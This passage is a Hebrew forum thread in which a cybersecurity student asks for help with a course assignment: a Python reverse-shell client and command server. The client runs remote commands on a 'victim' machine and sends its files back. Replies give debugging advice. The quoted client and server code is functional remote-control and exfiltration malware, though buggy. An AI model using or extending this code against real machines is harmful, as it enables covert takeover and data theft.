דילוג לתוכן
  • דף הבית
  • קטגוריות
  • פוסטים אחרונים
  • משתמשים
  • חיפוש
  • חוקי הפורום
כיווץ
תחומים

תחומים - פורום חרדי מקצועי

💡 רוצה לזכור קריאת שמע בזמן? לחץ כאן!
  1. דף הבית
  2. תכנות
  3. בעיה בבניית CNC בפייתון

בעיה בבניית CNC בפייתון

מתוזמן נעוץ נעול הועבר תכנות
24 פוסטים 6 כותבים 604 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • חגיח חגי

    @Android אני לא טוען שמשהו מיותר, פשוט שהעלת הרבה קוד, ולי באופן אישי אין את הסבלנות לנסות לבודד מאיפה נובע הבאג.

    אם אתה היית מצליח לבודד שורה שורה (היינו לדבג) ולמצוא איפה זה נכשל, ואז היית מכוון בדיוק לשורה ששם זה נכשל, אז יכול להיות שהיה יותר קל לענות לך.

    AndroidA מנותק
    AndroidA מנותק
    Android
    כתב ב נערך לאחרונה על ידי
    #13

    @חגי כתב בבעיה בבניית CNC בפייתון:

    היינו לדבג

    אני עוד לא יודע לדבג וגם הקטע שהקוד לא מוציא שגיאה אלא הקליינט פשוט נתקע

    חגיח תגובה 1 תגובה אחרונה
    0
    • AndroidA Android

      @חגי כתב בבעיה בבניית CNC בפייתון:

      היינו לדבג

      אני עוד לא יודע לדבג וגם הקטע שהקוד לא מוציא שגיאה אלא הקליינט פשוט נתקע

      חגיח מחובר
      חגיח מחובר
      חגי
      כתב ב נערך לאחרונה על ידי
      #14

      @Android
      זה נשמע כמו deadlock, לדבג זה מאוד פשוט, אתה דוחף print דיסקרפטיבי בכל מקום עד שאתה מוצא באיזו שורה זה נתקע.
      למי שיש יותר כח רצון, אפשר להשתמש בpdb

      import pdb;pdb.set_trace();
      

      מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו, יכול להשתמש בכלי הדיבוג של vscode לפייתון, או בpycharm. אבל זה רק אם אתה ממש מוכן לזה.

      dovidD תגובה 1 תגובה אחרונה
      2
      • חגיח חגי

        @Android
        זה נשמע כמו deadlock, לדבג זה מאוד פשוט, אתה דוחף print דיסקרפטיבי בכל מקום עד שאתה מוצא באיזו שורה זה נתקע.
        למי שיש יותר כח רצון, אפשר להשתמש בpdb

        import pdb;pdb.set_trace();
        

        מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו, יכול להשתמש בכלי הדיבוג של vscode לפייתון, או בpycharm. אבל זה רק אם אתה ממש מוכן לזה.

        dovidD מנותק
        dovidD מנותק
        dovid
        ניהול
        כתב ב נערך לאחרונה על ידי
        #15

        @חגי כתב בבעיה בבניית CNC בפייתון:

        מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו,

        חחח...
        כל כך קשה לדבאג בpycharm?
        יש מוניטין מאוד טוב לחברה הזאת.

        • מנטור אישי בתכנות והמסתעף – להתקדם לשלב הבא!
        • בכל נושא אפשר ליצור קשר dovid@tchumim.com
        חגיח תגובה 1 תגובה אחרונה
        0
        • dovidD dovid

          @חגי כתב בבעיה בבניית CNC בפייתון:

          מי שממש רוצה ללכת על כל הקופה וזורם לו אדרנלין בדם, והחיים עוד לפניו,

          חחח...
          כל כך קשה לדבאג בpycharm?
          יש מוניטין מאוד טוב לחברה הזאת.

          חגיח מחובר
          חגיח מחובר
          חגי
          כתב ב נערך לאחרונה על ידי חגי
          #16

          @dovid
          חחח זאת היתה בדיחה בגלל שהוא כתב שהוא עדיין לא יודע לדבג, זה בעיקרון הפיתרון הכי מתבקש,
          האפשרות הכי קלה היא באמצעות print, האפשרות הכי קשה (אבל הופכת אותך להיות מאוד גזעי, בעיקר כשאתה לומד סייבר) זה להשתמש בpdb.
          האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

          AndroidA תגובה 1 תגובה אחרונה
          3
          • חגיח חגי

            @dovid
            חחח זאת היתה בדיחה בגלל שהוא כתב שהוא עדיין לא יודע לדבג, זה בעיקרון הפיתרון הכי מתבקש,
            האפשרות הכי קלה היא באמצעות print, האפשרות הכי קשה (אבל הופכת אותך להיות מאוד גזעי, בעיקר כשאתה לומד סייבר) זה להשתמש בpdb.
            האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

            AndroidA מנותק
            AndroidA מנותק
            Android
            כתב ב נערך לאחרונה על ידי Android
            #17

            @חגי כתב בבעיה בבניית CNC בפייתון:

            האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

            אני משתמש בpycharm אבל לא ממש יודע לדבג (לשים פרינטים זה לא תמיד עוזר)
            אשמח להסבר או להפנייה להסבר. תודה

            dovidD תגובה 1 תגובה אחרונה
            0
            • AndroidA Android

              @חגי כתב בבעיה בבניית CNC בפייתון:

              האפשרות הנורמלית באמת זה להשתמש בכלי דיבוג של IDE כלשהו כמו pycharm.

              אני משתמש בpycharm אבל לא ממש יודע לדבג (לשים פרינטים זה לא תמיד עוזר)
              אשמח להסבר או להפנייה להסבר. תודה

              dovidD מנותק
              dovidD מנותק
              dovid
              ניהול
              כתב ב נערך לאחרונה על ידי
              #18

              @Android אני בחיים (נראה לי) לא כתבתי בפייתון,
              אבל זה לא אמור להיות מסובך וזה יכול מאוד לקדם אותך גם אם אתה לא חושב להיות מתכנת אלא איש סייבר.
              מחיפוש גוגל נראה שיש מקורות טובים, תשתדל לבדוק:

              אם אתה מעדיף טקסטואלי
              https://www.jetbrains.com/help/pycharm/debugging-your-first-python-application.html

              • מנטור אישי בתכנות והמסתעף – להתקדם לשלב הבא!
              • בכל נושא אפשר ליצור קשר dovid@tchumim.com
              AndroidA תגובה 1 תגובה אחרונה
              4
              • dovidD dovid

                @Android אני בחיים (נראה לי) לא כתבתי בפייתון,
                אבל זה לא אמור להיות מסובך וזה יכול מאוד לקדם אותך גם אם אתה לא חושב להיות מתכנת אלא איש סייבר.
                מחיפוש גוגל נראה שיש מקורות טובים, תשתדל לבדוק:

                אם אתה מעדיף טקסטואלי
                https://www.jetbrains.com/help/pycharm/debugging-your-first-python-application.html

                AndroidA מנותק
                AndroidA מנותק
                Android
                כתב ב נערך לאחרונה על ידי
                #19
                פוסט זה נמחק!
                תגובה 1 תגובה אחרונה
                0
                • AndroidA Android

                  כפי שכנראה הבנתם אני מנסה ללמוד את התחום ובמסגרת הלימודים אמרו לנו לעשות אתגר בפייתון
                  אז ניסיתי להתחיל לפתור אותו ונתקלתי בבעיה אשמח אם תעזרו לי לפותרה, תודה
                  מה שאני מנסה לעשות זה נוזקה שמתחברת אליי מהמחשב הנתקף (reverse shell) ואני יכול להריץ פקודות מהמחשב שלי על המחשב הנתקף ולקבל חזרה את הoutput
                  זה בעצם הcli רק שאני צריך לבנות גם אפשרות לשליחת קבצים מהנתקף אליי אז פה קצת הסתבכתי, ניסיתי להגדיר שאם אני שולח את המילה file אז הוא יכנס לפונקצייה של העברת קבצים אבל משום מה הקליינט לא מגיב כשאני שולח את המילה הזו. זו בעצם הבעיה הראשונה
                  בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

                  נ.ב. סורי שאין הערות...
                  זה הסרבר:

                  import socket
                  
                  host = "0.0.0.0"
                  port = 1213
                  
                  server_socket = socket.socket()
                  print("[-] Socket created")
                  server_socket.bind((host, port))
                  print("[-] Connection binded")
                  server_socket.listen()
                  print("Waiting for new connection...")
                  (client_socket, client_address) = server_socket.accept()
                  print(f"victim connected!(address: {client_address}")
                  
                  # transfers files
                  def file():
                      while True:  # The path to file
                          path_file = input("Please enter the requested file path without the file name: ")
                          client_socket.send(path_file.encode())
                          data = client_socket.recv(4096).decode()
                          if "error" in data.lower():
                              print(data)
                          else: break
                  
                      while True:  # file name
                          global file_name
                          file_name = input("Please enter the name of the requested file (example: image.jpg): ")
                          client_socket.send(file_name.encode())
                          client_socket.recv(4096).decode()
                          if "error" in data.lower():
                              print(data)
                          else: break
                  
                      if file_name.lower() != "exit":
                          file = open(fr"c:\users\h\desktop\files_from_victim\{file_name}" "wb")
                          size = client_socket.recv(1024).decode()
                          size = int(size)
                          while size > 0:
                              file.write(client_socket.recv(1000))
                              size -= 1000
                          file.close()
                      print("returns to CMD")
                  
                  # CLI
                  command = input("CMD> ")
                  
                  while command.lower() != "exit":
                      if command == "file":
                          output = client_socket.recv(2048).decode()
                          file()
                      client_socket.send(command.encode())
                      output = client_socket.recv(4096).decode()
                      print(output)
                      command = input("CMD> ")
                  
                  client_socket.send("exit".encode())
                  client_socket.close()
                  server_socket.close()
                  

                  וזה הקליינט:

                  import socket
                  import os
                  
                  server = "10.0.0.4"
                  port = 1213
                  
                  client_socket = socket.socket()
                  client_socket.connect((server, port))
                  print("Client connect")
                  
                  # trasfers files
                  def file():
                      print("in the 'TF'")
                      while True:
                          path_file = client_socket.recv(2048).decode()
                          try:
                              os.popen(f"cd {path_file}")
                              client_socket.send("Excellent".encode())
                              break
                          except: client_socket.send("Error!! Please try again".encode())
                  
                      while True:
                          file_name = client_socket.recv(2048).decode()
                          try:
                              global file
                              file = open(file_name, "rb")
                              global size
                              size = os.path.getsize(file_name)
                              client_socket.send("Excellent".encode())
                              break
                          except: client_socket.send("Error!! Please try again".encode())
                  
                  
                      client_socket.send(str(size).encode())
                  
                      while size > 0:
                          client_socket.send(file.read(1000))
                          size -= 1000
                  
                      file.close()
                  # CLI
                  command = client_socket.recv(2048).decode()
                  print(command)
                  while command.lower() != "exit":
                      print(command)
                      if command == "file":
                          client_socket.send("in the 'TF'".encode())
                          file()
                      try:
                          output = os.popen(command).read()
                          client_socket.send(f" {output}".encode())
                          command = client_socket.recv(2048).decode()
                      except:
                          client_socket.send("Error!!\nPlease try again".encode())
                          command = client_socket.recv(2048).decode()
                  
                  
                  client_socket.close()
                  

                  הוספתי כמה פרינטים כדי למצוא את הבעיה...
                  אשמח לכל הערה ו\או הארה
                  מקווה שלא טעיתי בקוד

                  הקוד בתהליך בניה

                  מ מנותק
                  מ מנותק
                  מתכנת לפעמים
                  כתב ב נערך לאחרונה על ידי
                  #20

                  @Android עצה ממני - תלמד על pickle פשוט יקל עליך פי מאה בערך. זו ספריה שמאפשרת לשלוח אובייקטים של פייתון (היא עושה להם סארליזציה או איך שקוראים לזה בעצמה...) בקיצור תלמד והכל יהיה יותר פשוט.

                  תגובה 1 תגובה אחרונה
                  0
                  • AndroidA מנותק
                    AndroidA מנותק
                    Android
                    כתב ב נערך לאחרונה על ידי
                    #21

                    למעשה הצלחתי לפתור את הבעיה, הייתה איזו שורה לא במקום...
                    אבל אני עדיין לא מצליח להריץ את הפקודות הנ"ל

                    @Android כתב בבעיה בבניית CNC בפייתון:

                    בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

                    חגיח תגובה 1 תגובה אחרונה
                    0
                    • AndroidA Android

                      למעשה הצלחתי לפתור את הבעיה, הייתה איזו שורה לא במקום...
                      אבל אני עדיין לא מצליח להריץ את הפקודות הנ"ל

                      @Android כתב בבעיה בבניית CNC בפייתון:

                      בעיה נוספת היא שאני לא מצליח להריץ פקודות כמו ipconfig, dir, date אבל cd ו whoami אני כן מצליח

                      חגיח מחובר
                      חגיח מחובר
                      חגי
                      כתב ב נערך לאחרונה על ידי
                      #22

                      @Android
                      אז אולי תנסה בכל זאת כן לבודד את הבעיה? כל הדיון פה זה רק על זה שהשאלה לא מספיק טובה בשביל שאנשים יטרחו לנסות לענות עליה, זה יותר כמו לנסות לפתור לך את השיעורי בית במקומך.

                      וניסית ללמוד על pickle?

                      AndroidA תגובה 1 תגובה אחרונה
                      0
                      • חגיח חגי

                        @Android
                        אז אולי תנסה בכל זאת כן לבודד את הבעיה? כל הדיון פה זה רק על זה שהשאלה לא מספיק טובה בשביל שאנשים יטרחו לנסות לענות עליה, זה יותר כמו לנסות לפתור לך את השיעורי בית במקומך.

                        וניסית ללמוד על pickle?

                        AndroidA מנותק
                        AndroidA מנותק
                        Android
                        כתב ב נערך לאחרונה על ידי
                        #23

                        @חגי זה נופל בשורה הזו

                        output = os.popen(command).read()
                        

                        עדיף להשתמש בsubprocess?

                        חגיח תגובה 1 תגובה אחרונה
                        0
                        • AndroidA Android

                          @חגי זה נופל בשורה הזו

                          output = os.popen(command).read()
                          

                          עדיף להשתמש בsubprocess?

                          חגיח מחובר
                          חגיח מחובר
                          חגי
                          כתב ב נערך לאחרונה על ידי
                          #24

                          @Android
                          ומה התוכן של command כאשר זה נכשל?

                          תגובה 1 תגובה אחרונה
                          1
                          תגובה
                          • תגובה כנושא
                          התחברו כדי לפרסם תגובה
                          • מהישן לחדש
                          • מהחדש לישן
                          • הכי הרבה הצבעות


                          • 1
                          • 2
                          בא תתחבר לדף היומי!
                          • התחברות

                          • אין לך חשבון עדיין? הרשמה

                          • התחברו או הירשמו כדי לחפש.
                          • פוסט ראשון
                            פוסט אחרון
                          0
                          • דף הבית
                          • קטגוריות
                          • פוסטים אחרונים
                          • משתמשים
                          • חיפוש
                          • חוקי הפורום